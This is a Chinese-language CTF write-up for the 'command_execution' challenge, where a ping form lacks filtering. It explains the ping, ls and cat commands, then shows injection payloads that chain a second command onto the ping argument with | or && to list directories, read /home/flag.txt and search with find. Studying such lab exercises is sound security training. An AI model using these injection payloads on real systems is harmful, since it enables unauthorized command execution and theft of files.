当前位置: 首页 > article >正文

[CTF/网络安全] 攻防世界 command_execution 解题详析

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
在这里插入图片描述

ping命令

ping 命令是一个常用的网络命令,用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包,并等待目标计算机返回响应数据包来测试网络的可达性,同时也可以测试网络的延迟和丢包率等信息。

在终端中使用 ping 命令的基本语法为:

ping <IP地址或主机名>

例如,要测试目标计算机的 IP 地址为 192.168.1.1 的网络连通性,可以运行以下命令:

ping 192.168.1.1

ping 命令将会输出一些关于网络连接的信息,包括每个数据包的传输时间、接收时间和延迟时间等。如果目标计算机能够正确响应 icmp 数据包,那么 ping 命令将会显示类似以下的信息:

这表示目标计算机成功返回了一个数据包,并花费了 4.56 毫秒的时间。如果无法连接到目标计算机,则 ping 命令将会显示类似以下的信息:

ping: connect: Network is unreachable

这表示无法连接到目标计算机。可以根据 ping 命令输出的信息排查网络故障,以便进行调试和修复网络连接问题。

ping命令的应用格式

  1. ping+IP地址或主机域名
  2. ping+IP地址或主机域名+命令参数
  3. ping+命令参数+IP地址或主机域名
    注意,+要换成空格

ping命令执行漏洞

如果 ping 命令不正确地处理其输入参数,就可能存在被攻击者利用来运行危险的命令的风险。
例如,如果在 ping 命令中使用了一个长度超过其预期的输入参数,则可能会导致该命令出现缓冲区溢出漏洞。

攻击者可以通过构造恶意输入参数来利用这种漏洞,并在受害者的计算机上执行任意代码,包括下载和安装恶意软件、破坏文件或系统配置、窃取敏感信息等。

该题可将输入参数截断从而让其运行危险的参数,常见的连接符有:
在这里插入图片描述
例如,ping127.0.0.1| ls /时,将显示ls /的执行结果,即列出目录

ls命令

ls 命令是一个常见的用于列出指定目录中的文件和子目录的命令,它通常用于 Unix、Linux 和 macOS 等操作系统中。该命令通常使用以下语法:

ls [OPTIONS] [FILE(S)]

其中 OPTIONS 是可选的命令参数,可以用于修改 ls 命令的行为。FILE(S) 是要列出的文件或目录的名称,也可以是通配符表达式,用于匹配符合特定模式的所有文件和目录。

以下是 ls 命令的一些常见选项:

  • -a:列出所有文件,包括隐藏文件。
  • -l:使用长格式显示文件详细信息,包括文件权限、所有者、大小、修改日期等。
  • -h:以人类可读的格式显示文件大小。
  • -t:按修改时间顺序列出文件和目录,最近修改的排在最前面。
  • -r:按相反顺序(即最早的先列出)列出文件和目录。

例如,要列出当前目录下的所有文件和目录,可以执行以下命令:

ls

要列出特定目录下的所有文件和目录,例如 /etc 目录,则可以执行以下命令:

ls /etc

您还可以使用不同的选项来修改 ls 命令的行为,例如:

ls -l /etc

该命令将以长格式列出 /etc 目录下的所有文件和子目录,并包括详细信息如权限、所有者、大小、修改日期等。


cat命令

cat 是一个常用的在 Linux 操作系统上查看文件内容的命令。cat 命令通常使用以下语法:

cat [OPTIONS] [FILE(S)]

其中,OPTIONS 是可选的命令参数,可以用于修改 cat 命令的行为。FILE(S) 是要查看内容的文件列表。

以下是一些常见的 cat 命令选项:

  • -n:显示每行行号。
  • -b:显示行号,但对于空白行不进行编号。
  • -E:在每行末尾显示 $ 符号。
  • -T:将制表符字符 (\t) 显示为 ^I
  • -s:删除重复的空行,并将连续多个空行压缩成一个空行。

例如,要查看文件 /etc/fstab 中的内容,可以执行以下命令:

cat /etc/fstab

如果您想在行号前添加行号,可以使用 -n 选项:

cat -n /etc/fstab

该命令将显示 /etc/fstab 文件的内容,并在每行行首添加行号。


姿势

ping本地回环地址

Payload:127.0.0.1

在这里插入图片描述
本地回环地址是网络通信中的特殊地址,指向本机的网络接口,因此通过发送 icmp 数据包到该地址来测试网络连通性和延迟。

在这个命令中,参数 -c 3 表示 ping 命令将会发送三个 icmp 数据包到目标主机。结果显示,三个数据包都成功发送和接收,并且没有任何数据包丢失。最后一行输出了关于这三个数据包的一些统计信息,包括平均延迟时间等。

这个结果说明本机的网络回环接口工作正常,同时也可以用来测试 ping 命令是否正常工作。

需要注意的是,这个测试结果并不能完全代表主机与其他计算机之间的网络连接状态,因为本地回环地址并不经过网络硬件设备,因此不会受到网络拥塞和其他网络故障的影响。

由于接口工作正常,因此可进行命令执行


ping目录

Payload127.0.0.1| ls /
127.0.0.1 && ls /
在这里插入图片描述

ping文件夹

Payload127.0.0.1 |ls /目录名

在这里插入图片描述

home目录下找到flag文件:

在这里插入图片描述

ping文件

Payload127.0.0.1 | cat /home/flag.txt

在这里插入图片描述

Tips

在已知某文件名的基础上,可使用find命令:127.0.0.1 | find / -name "文件名"
如图:

在这里插入图片描述

在已知部分某文件名的基础上 ,可使用find命令:127.0.0.1 && find / -name "已知文件名的部分*"
如图:

在这里插入图片描述


总结

该题考察ping命令执行漏洞及Linux部分操作系统命令。


http://www.kler.cn/a/465766.html

相关文章:

  • 【网络安全 | 漏洞挖掘】通过模拟功能实现提权(Bugcrowd)
  • 【SpringBoot】当 @PathVariable 遇到 /,如何处理
  • 145页PPT智慧矿山整体规划建设方案
  • 软件工程实验-实验2 结构化分析与设计-总体设计和数据库设计
  • 如何判断状态:停留还是移动。【计算加速度de方案】
  • 【MongoDB详解】
  • df.groupby与apply一起使用,举例项目中实际经常使用的场景
  • 基于SpringBoot的网上订餐系统(源码+数据库+文档)
  • C# _ 数字分隔符的使用
  • 2024年中国航天发射列表(68次发射,失败2次,部分失败1次)
  • python 给钉钉发消息简易demo
  • 带虚继承的类对象模型
  • 关于计算机中上下文概念的理解
  • Mac iTerm2集成DeepSeek AI
  • 一文读懂插值法
  • Tailwind CSS 实战:企业级 Dashboard 布局开发
  • 推荐PWM通信控制电机应用32位单片机
  • react-router-dom用法
  • ICLR2014 | L-BFGS | 神经网络的有趣特性
  • 关于Redis的面试题目及其答案
  • Vue3 组件
  • poetry更换国内pip源
  • CDPHudi实战-集成spark
  • 【Cocos】热更Bug回顾
  • AWS re:Invent 的创新技术
  • day29-三剑客sed